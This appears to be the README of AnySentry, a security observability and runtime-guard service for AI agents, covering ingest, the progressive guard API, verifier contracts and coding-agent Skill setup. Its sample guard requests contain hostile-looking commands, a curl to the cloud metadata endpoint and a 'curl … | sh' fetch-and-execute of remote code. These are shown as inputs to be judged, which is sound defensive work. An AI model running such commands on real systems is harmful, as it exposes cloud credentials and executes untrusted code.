AnySentry is the security observability and intervention plane for AI agents. It answers one operational question: what did the agent actually do, was it safe, and what should an operator or another agent do next?
The primary path is non-invasive. Agents do not need an SDK, framework adapter, or
code change before they can be monitored. a3s-observer captures process, network,
file, DNS, tool, and LLM activity from the node; AnySentry normalizes that activity
into canonical agent events; @a3s-lab/sentry judges each event; ClickHouse stores
the evidence; and the API/dashboard turn those judgments into incidents, alerts,
coverage, topology, remediation, evidence bundles, and agent-readable next actions.
Every number on the dashboard is computed from judged runtime events. Synthetic traffic exists only as an opt-in demo feed.

It ships as a single self-contained service (the API also serves the dashboard) plus ClickHouse
as the durable event store. Drop it in front of any agent fleet — it's a piece of middleware:
events in via POST /security-center/ingest, risk out via the dashboard, API, and optional alert webhook.
AnySentry is useful when an AI platform needs more than logs: it needs runtime evidence, risk judgment, operational state, and safe ways for humans or agents to intervene. The tables below summarize what is implemented today.
| Use case | Problem it solves | What AnySentry provides |
|---|---|---|
| See what agents really did | Agent tool calls, subprocesses, egress, file access, and LLM calls are hard to reconstruct from app logs alone. | Canonical anysentry.agent_event.v1 events with agent/session/run/trace identity and redacted evidence. |
| Judge runtime safety | Raw events do not say whether an action is acceptable, suspicious, or severe. | @a3s-lab/sentry decisions with verdict, tier, severity, reason, action, and risk category. |
| Preserve audit evidence | Incidents need a case file, not scattered dashboard clicks. | Evidence Bundles and Markdown exports around events, runs, traces, sources, agents, alerts, remediations, objectives, maintenance windows, notifications, topology, and audit records. |
| Find monitoring blind spots | Operators need to know which agents, sources, collectors, or workspaces are not covered. | Coverage issues for stale agents, source gaps, stale tokens, missing collector heartbeats, rejected ingress, and unowned events. |
| Run security operations | Alerts without ownership and next steps create noise. | Incidents, alerts, notification routing, objectives, maintenance windows, remediation tasks, owner/team metadata, and audit trails. |
| Let agents use security controls | Coding agents need a stable way to ask for guard decisions, write evidence, and request next actions. | A discoverable Progressive API at /security-center/capabilities plus the integrations/skills/anysentry-api Skill. |
| What it observes | Examples | Entry points |

| Network and DNS activity | egress peer, port, SNI, endpoint, metadata-service access attempts | observer NDJSON, OTel logs/traces, custom events |
| File and process activity | file paths, read/write-style evidence, process/runtime events | observer NDJSON, custom events |
| LLM activity | model, prompt/completion tokens, latency, LlmCall evidence, run/session linkage |
recordSecurityEvents, a3s-code Skill verifier, custom producers |
| Security-relevant evidence | dangerous commands, privilege escalation signals, suspicious network/file/content events | observer NDJSON, CloudEvents, OTel, generic ingest |
| Sources and collectors | source identity, token state, accepted/rejected counts, heartbeat freshness, collector node/pod | Sources API, heartbeat endpoint, observer forwarder |
| Assets and topology | agents, workspaces, collectors, sources, tool/network/file/LLM dependency edges | derived inventory and /security-center/agents/topology |
| What it monitors | Signals and states | Output |
|---|---|---|
| Fleet risk health | block/escalate rates, severity distribution, risk categories, risk trend | health cards, risk summary, explainability wave |
| Decision flow | L1 rules, L2 LLM escalation markers, L3 agent-tier risk, final verdict | decision funnel |
| Agent behavior | throughput, error rate, latency, heartbeat, behavior drift, highest-risk session | live SSE observability and session views |
| Incidents and alerts | risky events, source health, collector health, severe blocks, objective breaches, remediation overdue | incident and alert centers |
| Coverage | stale agents, stale/down sources, source token rotation, missing collector heartbeat, uncovered workspaces | coverage overview and coverage alerts |
| Objectives/SLOs | coverage score, active alerts, open incidents, overdue remediation, risky events, stale agents, collector/source down | objective status, breach alerts, remediation tasks |
| Maintenance | planned windows for global, workspace, agent, collector, or source targets | alert suppression context and maintenance evidence |
| Notification delivery | route matches, webhook delivery status, failures, recovery notifications | notification config, delivery log, audit records |
| Remediation | task owner/status/due time/steps, overdue state, source/alert/objective links | remediation center and AI Operator actions |
| Evidence integrity | timeline, related alerts/incidents/tasks/objectives/coverage/source/collector/audit linkage | Evidence Bundle and Markdown export |
| How it can intervene | What it changes or returns | Interface |
|---|---|---|
| Runtime guard | Returns allow, warn, require_approval, or block for a proposed tool/model/output/runtime action. |
security-center.assessRuntimeAction |
| Schema-aware preflight | Validates an execute request and returns schemaIssues without writing events or mutating state. |
dryRun: true on /security-center/capabilities |
| Evidence recording | Writes custom/webhook/OTel-shaped evidence into the same judged event stream as observer events. | security-center.recordSecurityEvents |
| Next-action planning | Ranks active remediation, incident, alert, objective, and coverage-derived work for an operator or agent. | security-center.planNextActions, /operator |
| Case-file assembly | Builds a redaction-safe evidence bundle around an event, run, trace, source, agent, alert, task, objective, or scope. | security-center.buildEvidenceBundle, /evidence |
| Remediation workflow | Updates task owner, status, notes, due time, and step completion state. | Remediation API and /operator |
| Incident and alert lifecycle | Acknowledge, resolve, reopen, and deep-link operational findings. | Incidents and Alerts APIs |
| Source protection | Create sources, enforce ingest tokens, reject invalid producers, and rotate source tokens. | Sources API and ingest headers |
| Governance controls | Save/replay policy, create objectives, define maintenance windows, configure notification routes. | Config, Objectives, Maintenance, Notifications |
| Agent metadata overlay | Attach owner, team, environment, criticality, tags, and notes without changing agent code. | Agent metadata API |
| Boundary | What it means |
|---|---|
| Observe-only by default | a3s-observer watches runtime behavior; it does not kill workloads by itself. |
| Enforcement is opt-in | Hard blocking happens when an agent, gateway, or platform loop calls assessRuntimeAction and honors block / require_approval. |
| Synthetic data is explicit | The dashboard is empty until real events arrive unless ANYSENTRY_SYNTHETIC_FEED is enabled for demos. |
| No SDK requirement | SDKs and Skills enrich the stream, but the baseline observer path works without agent code changes. |
| Not just a SIEM | AnySentry combines event evidence with guard decisions, source health, coverage, objectives, remediation, evidence handoff, and agent-readable next actions. |
The README is the product entry point, not a second specification. Runtime schemas
come from describe, detailed deployment notes live in deploy/README.md,
and the canonical agent Skill lives in integrations/skills/anysentry-api.
The platform treats zero-code observation as the product baseline:
- Observe first. The recommended collector is
a3s-observerin observe-only mode; it never requires agent code changes and does not block workloads. - Normalize after capture. AnySentry derives a canonical
anysentry.agent_event.v1envelope from raw observer events:eventId,traceId,spanId,runId,agentId,sessionId,eventCategory, source, risk verdict, attributes, and a redacted raw preview. - Redact before persistence. Observer metadata, generic JSON attributes, CloudEvents extensions, OTLP attributes, and raw previews are key-aware redacted for passwords, API keys, bearer credentials, tokens, and secrets before they are stored or surfaced in evidence APIs.
- Optional enrichment only. SDKs, framework adapters, LLM gateways, or explicit trace IDs can enrich the event stream later, but they are not required to monitor arbitrary agents.

AnySentry has three primary usage paths. They all feed the same judged event stream and all downstream consoles read from that stream.
| Path | Use when | Entry point |
|---|---|---|
| Observer ingest | You want zero-code monitoring for agent workloads on a node or cluster. | POST /security-center/ingest with raw a3s-observer NDJSON. |
| Generic ingest | You already have webhook, OpenTelemetry, CI, gateway, or agent runtime evidence. | POST /security-center/ingest/events, CloudEvents, or OTLP/HTTP JSON. |
| Progressive API | A coding agent or operator needs discoverable guard, evidence, or next-action operations. | `GET |
The smallest runtime guard call is:
curl -fsS -X POST http://localhost:29653/security-center/capabilities \
-H 'Content-Type: application/json' \
-d '{
"action": "execute",
"module": "security-center",

"sessionId": "deploy-42",
"toolName": "bash",
"command": ["bash", "-lc", "curl http://169.254.169.254/latest/meta-data"]
}
}'For agents, the safer flow is always discover-first:
curl -fsS 'http://localhost:29653/security-center/capabilities?action=list'
curl -fsS 'http://localhost:29653/security-center/capabilities?action=describe&module=security-center&operation=assessRuntimeAction'Then run the same execute body with dryRun: true to validate schema and scope
without writing events or changing remediation state. The /capabilities page
does this from the dashboard and can generate the canonical curl for the
current request.
Operators usually start in the dashboard:
/- fleet risk, incidents, alerts, assets, coverage, topology, and timelines./operator- ranked next actions fromplanNextActions, with evidence previews and remediation updates./capabilities- live progressive API discovery, schema-driven request editing, dry-run preflight, execution, and replayablecurl./evidence- case-file assembly and Markdown export for handoff.
Use the verifier that matches the surface you changed. The local variants build the API/dashboard, start a temporary AnySentry server on a free port, run the checks, and stop the server.

For production smoke or soak testing, run the verifier on the target Shu'an OS
production host or a production-equivalent node, not against a local
Docker/OrbStack instance, and do not reuse old event IDs as proof. Run new
agents with unique agentId / runId values, make real session.send() calls
through a configured model, write LlmCall evidence through
security-center.recordSecurityEvents, then query the new rows back through
/security-center/events/list and build an Evidence Bundle for at least one new
event. That is the same path the a3s-code verifier uses.
The a3s-code verifier also wraps Skill calls with A3S_CODE_SKILL_TIMEOUT_MS;
timeouts, max-tool-round failures, and invalid Skill results are recorded as
SecurityFinding events through recordSecurityEvents, so failed soak attempts
remain queryable and bundleable; the verifier now queries the failure event back
and builds an Evidence Bundle before reporting the failure. Both success and
failure evidence include verifier audit metadata such as the git commit, timeout
configuration, model, verifier schema version, and phase timing diagnostics.
Successful runs that spend more than A3S_CODE_NEAR_TIMEOUT_RATIO (default
0.5) of the configured timeout in the a3s-code Skill call also record an
allow-level RuntimeEvent with progressive.warning=near_timeout, so soak runs
can spot latency drift before it becomes a hard timeout without polluting LLM
call metrics. The verifier queries those warning rows back and fails if any
near-timeout warning is stored as LlmCall or categorized as llm; triggered
warning summaries also require exactly one runtime warning row for the run.
Set A3S_CODE_REQUIRE_NEAR_TIMEOUT_WARNING=1 with a deliberately low
A3S_CODE_NEAR_TIMEOUT_RATIO for production smoke tests that must exercise the
warning branch; if the warning is not emitted, the verifier records a
SecurityFinding failure before exiting non-zero. Passed and failed verifier
runs emit a single-line VERIFIER_SUMMARY JSON record with schema
anysentry.a3s_code_skill_verifier.summary.v1, so production automation can
assert status, failure phase, failure evidence, event IDs, warning isolation,
warning event/bundle bindings, and timing fields without scraping human-readable
log lines. Summary validation binds verifier.commit, verifier.schemaVersion,
verifier.model, timeout settings, near-timeout warning settings, Node.js
runtime version, and the target apiBase/runId/agentId/sessionId to the
running verifier process, so automation can reject stale, cross-run, or
cross-config summaries. Stored event, warning, and failure audit attributes use
progressive.verifier.closeTimeoutMs for the same session-close timeout value,
so the audit key stays separate from platform session identity fields. The
warning budget fields also bind to the running
verifier config: warning.required must match
A3S_CODE_REQUIRE_NEAR_TIMEOUT_WARNING, and warning.thresholdMs must match the
computed timeout threshold. Triggered warnings must also bind to the timing
budget by proving timings.skill >= warning.thresholdMs and to the canonical
warning.reason; passed summaries with untriggered warnings must prove
timings.skill < warning.thresholdMs.
Passed summaries must identify
verifier.skill=anysentry-api, report a positive verifier.toolCalls, and
include the warning budget state; when
warning.required=true, warning.triggered must also be true. Warning summaries
are mutually exclusive: triggered warnings carry warning event kind, category,
verdict, reason, bundle, and isolation evidence and no failure payload, while
untriggered warnings carry no stale warning event, reason, or isolation fields.
Triggered warnings must be separate RuntimeEvent/runtime/allow rows, not
the success LlmCall row, so summary-only automation can verify that latency
warnings did not pollute LLM evidence. Triggered warning summaries also bind the
warning row's workspacePath, runId, agentId, sessionId, and sourceId
to the target identity and success evidence Source, expose
warning.persistedVerifierAttributes, warning.persistedSkillAttributes, and
warning.persistedTimingAttributes from the warning row's stored audit
metadata, and expose warning.sourceEventId, which must match the success
evidence event. The warning reason binds to the same canonical
progressive.warning.reason value recorded on the runtime warning row. The
warning bundle fields bind to the same Evidence Bundle as the success evidence:
warning.bundleSchemaVersion must be
anysentry.evidence_bundle.v1, warning.bundleContainsSourceEvent must be
true, warning.bundleEventCount must match the success bundle summary count,
and warning.bundleListedEventCount must match the success bundle's listed
event count. warning.bundlePrimaryEventId must match the success evidence
event, proving the shared bundle's primary event is the warning source event.
The warning listed target event and primary bundle event fields must match the
success evidence event payload fields, proving the warning references the same
source event payload rather than only reusing the bundle ID.
The warning bundle scope fields (bundleScopePrimaryType,
bundleScopePrimaryId, bundleScopeEventId, bundleScopeWorkspacePath,
bundleScopeRunId, bundleScopeAgentId, and bundleScopeSessionId) must match
the success evidence bundle scope, and the warning bundle timeline fields must
prove the same source event appears in the shared case-file timeline.
Success summaries also include the inner Skill output health/list/describe
proofs, event, workspace, run, agent, session, bundle IDs, and inner API timing
fields under evidence.skillOutput, and the verifier fails if those proofs do
not show healthOk=true, listed=true, and described=recordSecurityEvents or
if the IDs do not match the target identity, rows, Evidence Bundle, or timing
contract queried by the outer runtime. The summary also exposes
evidence.persistedVerifierAttributes, evidence.persistedSkillAttributes, and
evidence.persistedPreflightAttributes from the stored success row, where the
first must match the running verifier audit metadata, the Skill attributes must
match the stored progressive.runner, progressive.skill, progressive.flow,
and progressive.model markers, and the preflight attributes persist the same
preflight proof attributes
(progressive.verifier.healthOk, progressive.verifier.listed, and
progressive.verifier.describedOperation), and the outer verifier rejects rows
whose attributes drift from the Skill output. It also exposes
evidence.persistedInnerTimingAttributes for the stored pre-record timing
attributes, and those values must match evidence.skillOutput.timings. The
stored success evidence row also exposes evidence.workspacePath,
evidence.runId, evidence.agentId, and evidence.sessionId, which must match
the target identity. Passed summary validation also
requires both the stored event and the Skill output to remain
LlmCall/llm/allow, with matching event categories and
evidence.skillOutput.queriedBack=true, so automation can detect
evidence-contract drift from the summary alone. The outer and Skill-reported
Evidence Bundle schema, event-membership flag, and bundleEventCount fields
must also be valid and equal. The contract also exposes
bundleListedEventCount from events.length on the Evidence Bundle response;
it must be positive, must not exceed bundleEventCount, and must match the
Skill-reported listed count. This lets automation distinguish bundle summary
count drift from listed-member drift without rebuilding the bundle. The
contract also exposes the listed target event fields (bundleListedEventId,
bundleListedEventSourceId, bundleListedEventWorkspacePath,
bundleListedEventRunId, bundleListedEventAgentId, bundleListedEventSessionId,
bundleListedEventTraceId, bundleListedEventKind,
bundleListedEventCategory, and bundleListedEventVerdict) and the primary
bundle event fields (bundlePrimaryEventId, bundlePrimaryEventSourceId,
bundlePrimaryEventWorkspacePath, bundlePrimaryEventRunId, bundlePrimaryEventAgentId,
bundlePrimaryEventSessionId, bundlePrimaryEventTraceId,
bundlePrimaryEventKind, bundlePrimaryEventCategory, and
bundlePrimaryEventVerdict). Both field groups must match the stored event
payload in the outer evidence and the Skill output, so summary-only automation
can detect bundles whose listed member or primary event payload drifted even
when the event ID is still present. The verifier projects the nested Skill
output summary from the same listed/primary field contract, so source identity
cannot disappear while the top-level evidence still reports it. Bundle scope
fields are also exposed and must bind to the same
event/workspace/run/agent/session identity in both the outer evidence and the
Skill output, so automation can reject bundles built with a stale or cross-run
scope. Bundle timeline fields (bundleTimelineContainsEvent,
bundleTimelineEventCount, bundleTimelineTraceId, bundleTimelineRunId, and
bundleTimelineSessionId) must prove the target event is present in the
case-file timeline and that the timeline remains bound to the same trace, run,
and session.
Failed summaries always include explicit failure.details plus a failure
evidence status, either with the recorded event/bundle IDs or with
recorded=false plus the reason evidence was not written; these states are
mutually exclusive, so recorded evidence must not carry error and unrecorded
evidence must not carry stale event, bundle, or persisted-attribute fields. If a
failed summary also includes top-level success evidence, that evidence must
satisfy the same stored-event and Skill-output contract as a passed summary and
must not reuse the recorded failure evidence event or bundle IDs.
Recorded failure
evidence must be the canonical
SecurityAction/security event produced from the verifier's SecurityFinding,
must carry a non-allow verdict, must use riskCategory=runtime_failure, and
must bind failurePhase, failureReason, persisted-attribute
failureDetails, failure.evidence.persistedVerifierAttributes,
failure.evidence.persistedSkillAttributes, and
failure.evidence.persistedTimingAttributes to the top-level failure, timings,
running verifier metadata, and the same Skill provenance markers used by success
evidence plus workspacePath, runId, agentId, and sessionId to the target identity.
Recorded failure bundles must use schema anysentry.evidence_bundle.v1, must
include the failure event, and must report positive Evidence Bundle summary and
listed event counts, with the listed count not exceeding the summary count. They
must also expose listed target event and primary bundle event fields matching
the recorded failure event payload, plus bundle scope fields bound to that
failure event's workspace, run, agent, and session identity. Failure bundle
timeline fields must likewise prove the failure event is present in the failure
case-file timeline and bound to the failure trace, run, and session.
When a required near-timeout warning is missing, the nested
warning.failure.evidence must match the top-level failure.evidence,
including persisted verifier, Skill, and timing attribute evidence, so automation
does not need to guess which failure record is authoritative. Other failed summaries
must not carry stale warning payloads. Timing values in
summaries must be non-negative
numbers or non-empty strings, and failed summaries outside preflight and
summary-validation must bind timings.failurePhase to failure.phase, while
preflight and summary-validation failures must not carry stale
timings.failurePhase. If the
verifier detects that its own summary violates the contract, the emitted summary
is converted to status=failed with failure.phase=summary_validation so
automation can trust the top-level status. Summary-validation failures must also
carry summaryValidation.status=failed and a non-empty
summaryValidation.issues array that exactly matches failure.details.issues;
passed summaries and non-summary-validation failures must not carry stale
summaryValidation payloads. Summary-validation failures are rebound to the
running verifier commit, model, API base, run ID, agent ID, and session ID; stale
or mismatched original identities are retained only under
failure.details.originalVerifier and failure.details.originalTarget.
Runtime contract failures after the Skill runs, such as missing event markers or
Evidence Bundle drift, are recorded as phase-specific SecurityFinding evidence
instead of being collapsed into generic summary-validation failures.
Pre-session failures are also phase-specific: healthz failures report
recorded=false because the API is unavailable, while SDK load and Agent
creation failures attempt to write the same failure evidence through AnySentry.
pnpm verify:a3s-code-skill-api:self-test validates that summary
contract and the Skill-output final-line JSON parser offline, so the production
verifier's machine-readable handoff is checked without adding a parallel soak
path.
The Skill invocation runs the checked-in scripts/verify-a3s-code-skill-inner.mjs
helper with a typed identity JSON environment, so runId, agentId,
sessionId, and workspacePath are not reconstructed by the model from a long
inline script.
Timeout handling closes the a3s-code session before writing failure evidence, and
A3S_CODE_SESSION_CLOSE_TIMEOUT_MS bounds that cleanup so a stuck close cannot
suppress the failure finding. Coding-agent producer aliases such as
NetworkEgress, FileRead, FileWrite, and SecurityFinding are normalized to
the canonical AnySentry kinds Egress, FileAccess, and SecurityAction.
Producer-reported SecurityFinding and progressive.failure=true events are
stored as non-allow findings, so failed soak attempts show up in risk and action
flows instead of looking like benign telemetry.
When runtime guard fallback logic upgrades an otherwise-benign tool decision, it
also records an actionable SecurityFinding that links back to the original
action event, so the block/approval decision and the evidence stream stay aligned.
pnpm verify:progressive-api:local and the production progressive verifier both
regression-check that alias normalization and obvious high-risk runtime guard
actions return a non-allow policy decision. Keep production probes on this single
progressive API path rather than adding a parallel soak evidence format.

progressive.flow, and the verifier model. It then builds an Evidence Bundle for the same event
and asserts that the bundle contains the new evidence.

For a one-command local run that builds the API and dashboard, starts a temporary server, runs the deployment manifest, management-auth, normal and ingress sub-path dashboard, observer, forwarder, heterogeneous ingress, Coverage runtime, operations lifecycle, Objective runtime, Maintenance runtime, Remediation runtime, Evidence Bundle/export, notification dispatch, and deep-link contract verifiers, then stops the server:
pnpm verify:contracts:localConfiguration is via environment variables — see .env.example.
Set ANYSENTRY_ADMIN_TOKEN (or ANYSENTRY_MANAGEMENT_TOKEN) to require an operator token for
control-plane mutations: policy saves/simulations, Source create/update/rotate, Incident/Alert/
Remediation edits, Agent metadata, Maintenance windows, Notification channels/routes, and
Objectives. The token can be sent as X-AnySentry-Admin-Token,
X-AnySentry-Management-Token, or Authorization: Bearer <token>.
Read APIs and producer paths stay separate: /security-center/ingest, generic/OTLP ingest,
Collector heartbeat, and Source check-in still use Source identity and Source ingest tokens. The
dashboard also sends X-AnySentry-Admin-Token when the browser has
localStorage["anysentry.adminToken"] set; the console header's management-token control manages
that browser-local value, so the token is not built into the static web bundle.
Standalone verifier scripts that create or update management objects also forward
ANYSENTRY_ADMIN_TOKEN / ANYSENTRY_MANAGEMENT_TOKEN when set, while the management-auth verifier
keeps its explicit missing-token rejection checks.
AnySentry is fed by POST /security-center/ingest. The body is { "line": <raw a3s-observer NDJSON> }; identity, workspace, and session are derived from the line itself, so any producer in
any language can drive it. Producers may also include collectorId, sourceId, or
X-AnySentry-Ingest-Token / bearer auth to attach platform-side source identity:
curl -X POST localhost:29653/security-center/ingest -H 'Content-Type: application/json' -d '{
"line": "{\"identity\":{\"agent\":\"py\",\"task\":\"1\"},\"event\":{\"Egress\":{\"pid\":1,\"peer\":\"169.254.169.254\",\"port\":80}}}"
}'
# → { "accepted": true, "verdict": "block", "tier": "Rules", "severity": "high", ... }For heterogeneous producers that do not emit observer NDJSON, use the generic JSON batch ingress.
AnySentry converts each item into the same canonical anysentry.agent_event.v1 stream and still
runs it through @a3s-lab/sentry before it reaches Incidents, Alerts, Assets, Coverage, and
Topology. CloudEvents are accepted on the same endpoint in structured mode
(application/cloudevents+json) or binary mode (ce-* headers plus a JSON body). The
specversion / type / source / subject / time fields are preserved as evidence attributes
while data, UTF-8 JSON data_base64, or the binary-mode JSON body supplies the security event
fields:

span/log attributes into tool, network, file, LLM, or content events:

pnpm verify:ingest-protocols:localAnySentry exposes a source-compatible progressive API at GET|POST /security-center/capabilities.
It follows the same compact discovery pattern as the platform capabilities API:
list -> search / describe -> execute. Callers discover modules first, search or describe the
exact operation schema only when needed, then call a single execute action with
module + operation + params. describe can narrow all the way to one operation.
Operation descriptions include typed inputSchema.body.properties.params contracts
and structured outputSchema.data result schemas, so agents can generate calls
without a second OpenAPI surface or duplicated reference docs.
For execute calls, dryRun: true uses the same described input schema to return
anysentry.progressive.dry_run.v1 with schemaValid, schemaIssues, and a
normalized request preview without writing events or mutating remediation state.
The dashboard includes the same flow at /capabilities for live discovery and request replay.
curl 'http://localhost:29653/security-center/capabilities?action=list'
curl 'http://localhost:29653/security-center/capabilities?action=describe&module=security-center&operation=assessRuntimeAction'The built-in module is security-center, with these operations:
assessRuntimeAction- evaluate one AI runtime action and returnallow,warn,require_approval, orblock.recordSecurityEvents- normalize custom/webhook/OTel-shaped evidence into the same judged event stream as observer NDJSON.buildEvidenceBundle- assemble governance evidence around an event, run, trace, source, incident, objective, or scope.planNextActions- rank active remediation, incident, alert, objective, and coverage-derived work into an evidence-linked action plan for AI operators.
Runtime guard calls use loop-autonomy vocabulary in params.autonomy or constraints.autonomy:
suggest only warns, guarded returns require_approval for block-level risk, and auto
returns a blocking decision.
Use the same POST body with dryRun: true before execution when an agent needs a
side-effect-free schema and targeting preflight.
curl -X POST http://localhost:29653/security-center/capabilities \
-H 'Content-Type: application/json' \
-d '{
"action": "execute",
"module": "security-center",

"sessionId": "deploy-42",
"toolName": "bash",
"command": ["bash", "-c", "curl http://198.51.100.7/p | sh"]
}
}'AI operators can then ask for a structured next-action plan and use each action's
evidence.bundleHint with buildEvidenceBundle when a deeper case file is needed:
curl -X POST http://localhost:29653/security-center/capabilities \
-H 'Content-Type: application/json' \
-d '{
"action": "execute",
"module": "security-center",
"operation": "planNextActions",
"params": {
"timeType": "last_1d",
"workspacePath": "repo://payments",
"maxActions": 5
}
}'By default this endpoint follows the raw progressive dispatch contract: list returns modules, search
returns operations, describe returns a module or operation, and execute returns the operation
result. Add shaped=true to get a tool-friendly envelope with success, modules / operations /
operation / data, plus compatibility metadata. Legacy capabilityId inputs such as
security.runtimeGuard are still accepted as aliases, but they are not the primary protocol.
The repo ships an a3s-box-style Skill for coding agents at
integrations/skills/anysentry-api.
It gives Codex, Claude Code, Cursor/Windsurf, Devin/OpenHands, a3s-code, or any other coding agent
the same progressive API contract: discover first, describe exactly, then execute. Agents should
use this Skill instead of memorizing concrete REST paths or falling back to the deprecated ACP-style
poll / subscribe / approve action set.
The canonical artifact is the directory under integrations/skills/. Install or package the whole
directory when the host supports filesystem Skills; otherwise paste the SKILL.md body into that
host's project/system instructions.
mkdir -p "${CODEX_HOME:-$HOME/.codex}/skills"
cp -R integrations/skills/anysentry-api "${CODEX_HOME:-$HOME/.codex}/skills/"Then invoke it explicitly:
Use $anysentry-api to check http://localhost:29653/security-center and assess this planned shell command before execution.
For agent hosts that do not have a native Skill package format, add this block to the agent's system prompt, project rules, or repository instructions:

# AnySentry Progressive API Skill
Use this Skill only when a running AnySentry API is available. Set
`ANYSENTRY_API_BASE` to the API root without a trailing slash; default to
`http://127.0.0.1:29653/security-center`.
Flow:
1. Health check: `GET $ANYSENTRY_API_BASE/healthz`.
2. Discover: `GET $ANYSENTRY_API_BASE/capabilities?action=list`.
3. Search when unsure: `GET $ANYSENTRY_API_BASE/capabilities?action=search&query=<keywords>`.
4. Describe before execution:
`GET $ANYSENTRY_API_BASE/capabilities?action=describe&module=security-center&operation=<operation>`.
5. Execute only with `POST $ANYSENTRY_API_BASE/capabilities` and JSON body:
`{ "action": "execute", "module": "security-center", "operation": "<operation>", "params": { ... } }`.
Rules:
- Do not guess module names, operation names, parameters, enum values, or response shape. Use
`list`, `search`, and `describe` first.
- Do not use ACP-only actions `poll`, `subscribe`, or `approve`; AnySentry's primary protocol is
`list / search / describe / execute`.
- Prefer `dryRun: true` before enforcing a guard decision on a planned tool command.
- Use `params.autonomy` or `constraints.autonomy` with autonomy modes: `suggest`, `guarded`, or
`auto`.
- Treat guard results as policy signals: `allow` may proceed, `warn` should be surfaced,
`require_approval` needs human approval, and `block` must stop the action.
- Use `recordSecurityEvents` for structured agent evidence and `buildEvidenceBundle` for handoff
reports after you have an `eventId`, `runId`, `traceId`, source, incident, objective, or scope.
- If management auth is enabled, pass `X-AnySentry-Admin-Token` only for control-plane writes.
Ingest identity uses Source tokens, not the admin token.
- When a request fails, re-run `describe` for the target module/operation before changing fields.| Agent host | How to attach the Skill |
|---|---|
| Codex / OpenAI coding agents | Copy integrations/skills/anysentry-api into ${CODEX_HOME:-$HOME/.codex}/skills/, then call Use $anysentry-api .... |
| a3s-code / platform runtimes | Attach the parent directory with skillDirs: ["integrations/skills"], then invoke Skill with skill_name: "anysentry-api". Use pnpm verify:a3s-code-skill-api for the real SDK/model check. |
| Claude Code | Put the universal block or the canonical SKILL.md content in CLAUDE.md or project instructions. Use the shell/HTTP tools only when the session allows them. |
| Cursor / Windsurf | Add the universal block to workspace rules (for example .cursor/rules/anysentry-api.mdc) or global AI rules, and set ANYSENTRY_API_BASE in the dev environment. |
| Devin / OpenHands / remote coding agents | Add the block to repository instructions or the task bootstrap prompt, export ANYSENTRY_API_BASE, and run the verifier commands after integration. |
| Generic SDK agents | Store the block as a system instruction and implement four helper calls: listCapabilities, searchCapabilities, describeOperation, and executeOperation. Keep endpoint construction centralized so models never hand-write stale URLs. |
Any host can implement the Skill with this small tool surface:
type ProgressiveAction = "list" | "search" | "describe" | "execute";
interface AnySentryProgressiveCall {
action: ProgressiveAction;
module?: "security-center" | string;
operation?: string;
query?: string;
params?: Record<string, unknown>;
dryRun?: boolean;
shaped?: boolean;
}Discovery uses GET /capabilities; execution uses POST /capabilities. The service owns the
operation schemas, so the agent should cache described schemas within a session but refresh them
after an error or deployment change.
The backend holds one Sentry judge. Each ingested event is run through sentry.evaluate(), the
resulting Decision { verdict, tier, severity, reason, action, risk } is recorded to ClickHouse,
and an in-memory hot ring (hydrated from ClickHouse on boot) serves the panels. Risk taxonomy comes
from a3s-sentry; AnySentry only localizes, aggregates, and displays it. Every panel is a query over
that live decision stream:
| Panel | Source |
|---|---|
| Health / token | block & escalate rates over the window |
| Explainability wave | safe-vs-risk score binned over time |
| Decision funnel | events resolved at L1 rules → L2 (escalations) → L3 (high/critical) → final block |
| Risk summary / breakdown | judged events grouped by the monitored risk taxonomy, with period-over-period change |
| Collector health | a3s-observer heartbeats grouped by node / pod, with drop and coverage signals |
| Ingestion sources | platform-managed observer / forwarder / webhook / OTel / custom sources with token rotation, health, and last-seen state |
| Agent inventory | agents automatically discovered from observer events, with platform-side owner / environment / criticality metadata |
| Workspace inventory | service/workspace assets derived from Agent inventory, with owner, coverage, maintenance, and risk rollups |
| Coverage gaps | non-invasive monitoring completeness: stale agents, source gaps, stale Source tokens, missing collector heartbeat, and unowned events |
| Maintenance windows | platform-side planned maintenance for all / workspace / agent / collector / source targets, suppressing alert noise without agent changes |
| Agent topology | workspace / collector / tool / network / file / LLM dependencies inferred from observed events |
| Incident management | risky observer events auto-grouped into open / acknowledged / resolved incidents |
| Alert center | platform-side alerts from Incidents, Collector health, risky Agents, severe block events, rejected Source ingress, Source health, Coverage gaps, Objective breaches, and overdue Remediations |
| Notification routing | webhook channels, delivery history, and alert routes by severity, kind, workspace, agent, collector, source, owner, team, or keyword, including Coverage issue routes |
| Objectives / SLO | non-invasive monitoring goals for coverage, Incident, Alert, overdue-Remediation, risky-event, stale-Agent, Collector-down, and Source-down thresholds |
| Remediation center | Runbook tasks derived from Incidents, Alerts, Coverage gaps, and Source health issues, with owner/status/steps |
| AI Operator workbench | /operator ranks active work through security-center.planNextActions, previews evidence through progressive buildEvidenceBundle, updates Remediation status, and deep-links related assets |
| Progressive API workbench | /capabilities lets operators discover modules, search/describe operations, edit execute payloads, run schema-aware dry-run preflights, and inspect responses through the single capabilities endpoint |
| Audit log | platform management actions such as policy saves/replays, Incident, Alert, and Remediation updates |
| Non-invasive event timeline | recent canonical agent events with trace/span/run IDs and risk evidence |
| Policy replay | dry-run a draft policy against recent observed events before saving it |
| Highest-risk session | the session with the largest summed risk, as a 6-dimension radar |
| Workspace distribution | risk grouped by workspace / agent identity |
| Agent observability | live SSE: heartbeat, error rate, throughput, behavior drift |
escalate rules fail-open when no L2/L3 backend is wired, but the marker + severity are
preserved, so the monitoring layer still surfaces them as escalations — exactly what the funnel's
L2/L3 tiers count.
In addition to the aggregate dashboard APIs, AnySentry exposes event evidence for drill-down:
-
POST /security-center/events/list— recent canonical agent events, filterable by time, agent/session/workspace, trace/run, event kind/category, and verdict;eventIdpins an exact evidence event even when the current filters would normally hide it. A request with onlyeventIdreturns just that evidence row. -
POST /security-center/events/timeline— ordered events for a trace, run, session, or pinned evidenceeventId. -
GET /security-center/sessions/agentObservability/stream— live SSE frames for dashboard heartbeat, error-rate, throughput, latency, and behavior-drift metrics. -
